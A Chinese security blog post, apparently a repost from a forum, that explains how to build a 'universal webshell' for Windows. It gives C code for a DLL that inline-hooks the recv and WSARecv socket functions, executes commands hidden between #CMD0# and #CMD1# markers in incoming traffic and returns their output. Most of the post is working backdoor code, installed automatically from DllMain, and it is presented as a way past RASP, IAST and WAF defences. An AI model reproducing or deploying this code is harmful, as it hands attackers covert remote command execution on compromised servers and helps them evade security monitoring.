利用 Hook 技术打造通用的 Webshell - Jayl1n

admin 2021年12月31日15:59:15评论163 views字数 5340阅读17分48秒阅读模式

标题中的 “通用” 指跨语言,本文的实现是基于 Windows 的,需要 Linux 的可以参考本文的思路,实现起来并没有太大区别。

Author: [email protected]

原理

Windows 上程序涉及网络 socket 操作,一般都会用到 winsock2 的库,程序会动态链接 ws2_32.dll ,JVM,Python,Zend 等解释器都不例外。

winsock2 里 socket 操作相关的函数 recv send closesocket 会编程的应该都不陌生。hookrecv 函数就可以在程序处理接受到网络数据前,进入我们的处理逻辑早一步收到数据。

由于实现是 native 的,所以在成功 hook 的情况下能绕过现代的 RASP、IAST、云WAF 等现代流行的防护技术。

Inline Hook

Inline Hook 是在程序运行时直接修改指令,插入跳转指令(jmp/call/retn)来控制程序执行流的一种技术。相比别的 Hook 技术,Inline Hook 优点是能跨平台,稳定,本文是以此技术实现的。

实现

具体实现分为两个部分,一个是hook函数的 DLL(只讲这个);另一个是向进程注入 DLL 的辅助工具(github上有很多)。

InstallHook

安装钩子

#define START_BLOCK "#CMD0#"
#define END_BLOCK "#CMD1#"

DWORD dwInstSize = 12;
BYTE RecvEntryPointInst[12] = { 0x00 };
BYTE RecvEntryPointInstHook[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };
BYTE WSARecvEntryPointInst[12] = { 0x00 };
BYTE WSARecvEntryPointInstHook[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };

typedef int ( *PFNRecv )( SOCKET, char*, int, int );
typedef int ( *PFNSend )( SOCKET, char*, int, int );

typedef int ( *PFNWSARecv ) ( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE );
typedef int ( *PFNWSASend ) ( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE );

void InstallHook(LPCWSTR lpModule, LPCSTR lpFuncName, LPVOID lpFunction) {
    DWORD_PTR FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);
    DWORD OldProtect = 0;

    if(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &OldProtect))
    {
        if(!strcmp(lpFuncName, "recv")) {
            memcpy(RecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);
            *(PINT64) ( RecvEntryPointInstHook + 2 ) = (UINT64) lpFunction;
        }
        if(!strcmp(lpFuncName, "WSARecv")) {
            memcpy(WSARecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);
            *(PINT64) ( WSARecvEntryPointInstHook + 2 ) = (UINT64) lpFunction;
        }
    }

    if(!strcmp(lpFuncName, "recv")) 
        memcpy((LPVOID) FuncAddress, &RecvEntryPointInstHook, sizeof(RecvEntryPointInstHook));
    if(!strcmp(lpFuncName,"WSARecv"))
        memcpy((LPVOID) FuncAddress, &WSARecvEntryPointInstHook, sizeof(WSARecvEntryPointInstHook));

    VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &OldProtect);
}

UninstallHook

卸载钩子

void UninstallHook(LPCWSTR lpModule, LPCSTR lpFuncName) {
    UINT64 FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);
    DWORD OldProtect = 0;

    if(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &OldProtect))
    {
        if(!strcmp(lpFuncName, "recv")) 
            memcpy((LPVOID) FuncAddress, RecvEntryPointInst, sizeof(RecvEntryPointInst));
        if(!strcmp(lpFuncName,"WSARecv"))
            memcpy((LPVOID) FuncAddress, WSARecvEntryPointInst, sizeof(WSARecvEntryPointInst));
    }
    VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &OldProtect);
}

HookRecv

hook recv 的函数,程序在执行 recv 时,会先进入这个函数。

在这个函数里,调用原来的 recv 获取数据,判断是否有START_BLOCKEND_BLOCK块,有的话就取出块之间的命令,执行。

int WINAPI HookRecv(SOCKET s, char* buf, int len, int flags) {
    UninstallHook(L"ws2_32.dll", "recv");

    PFNRecv pfnRecv = (PFNRecv) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "recv");
    PFNSend pfnSend = (PFNSend) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "send");
    PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "closesocket");

    int rc = pfnRecv(s, buf, len, flags);

    char* startBlock = strstr(buf, START_BLOCK);
    if(startBlock) {
        char* endBlock = strstr(startBlock, END_BLOCK);
        if(endBlock) {
            std::string start_block = std::string(startBlock);
            int endOffset = start_block.find(END_BLOCK, sizeof(START_BLOCK));
            std::string cmd = start_block.substr(sizeof(START_BLOCK) - 1, start_block.size() - sizeof(START_BLOCK) - ( start_block.size() - endOffset ) + 1);

            std::string output = WSTR2STR(ExecuteCmd(cmd));

            pfnSend(s, (char*) output.c_str(), output.size(), 0);
         pfnClosesocket(s);
        }
    }

    InstallHook(L"ws2_32.dll", "recv", (LPVOID) HookRecv);

    return  rc;
}


int WINAPI HookWSARecv(SOCKET s, LPWSABUF lpBuffer, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) {

    UninstallHook(L"ws2_32.dll", "WSARecv");

    PFNWSARecv pfnWSARecv = (PFNWSARecv) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "WSARecv");
    PFNWSASend pfnWSASend = (PFNWSASend) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "WSASend");
    PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "closesocket");

    int rc = pfnWSARecv(s, lpBuffer, dwBufferCount, lpNumberOfBytesRecvd, lpFlags, lpOverlapped, lpCompletionRoutine);

    char* startBlock = strstr(lpBuffer->buf, START_BLOCK);
    if(startBlock) {
        char* endBlock = strstr(startBlock, END_BLOCK);
        if(endBlock) {
            std::string start_block = std::string(startBlock);
            int endOffset = start_block.find(END_BLOCK, sizeof(START_BLOCK));
            std::string cmd = start_block.substr(sizeof(START_BLOCK) - 1, start_block.size() - sizeof(START_BLOCK) - ( start_block.size() - endOffset ) + 1);

            WSABUF outBuf;
            std::string output = WSTR2STR(ExecuteCmd(cmd));
            outBuf.buf = (char*) output.c_str();
            outBuf.len = output.size();

            pfnWSASend(s, &outBuf, 1, lpNumberOfBytesRecvd, 0, 0, 0);
         pfnClosesocket(s);
        }
    }

    InstallHook(L"ws2_32.dll", "WSARecv", (LPVOID) HookWSARecv);

    return  rc;
}

这里还 hook 了 WSARecv ,是因为我在 Tomcat 上测试遇到个问题 hook recv 后收到的数据是乱码,长度也对不上。 后来想到 Tomcat 现在默认是 NIO 处理,JVM 的用的 API 可能不一样,翻看了一下源码,发现 Windows 上 NIO 相关的 socket 操作函数实际用的是 WSARecvWSASend 等带 WSA 前缀的,加了 hook 点之后能正常读到数据了。

DllMain

DLL 入口,调用安装钩子

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    switch(fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        InstallHook(L"ws2_32.dll", "recv", (LPVOID) HookRecv);
        InstallHook(L"ws2_32.dll", "WSARecv", (LPVOID) HookWSARecv);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

效果

Java

Python

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:59:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用 Hook 技术打造通用的 Webshell - Jayl1nhttps://cn-sec.com/archives/713275.html

发表评论

匿名网友 填写信息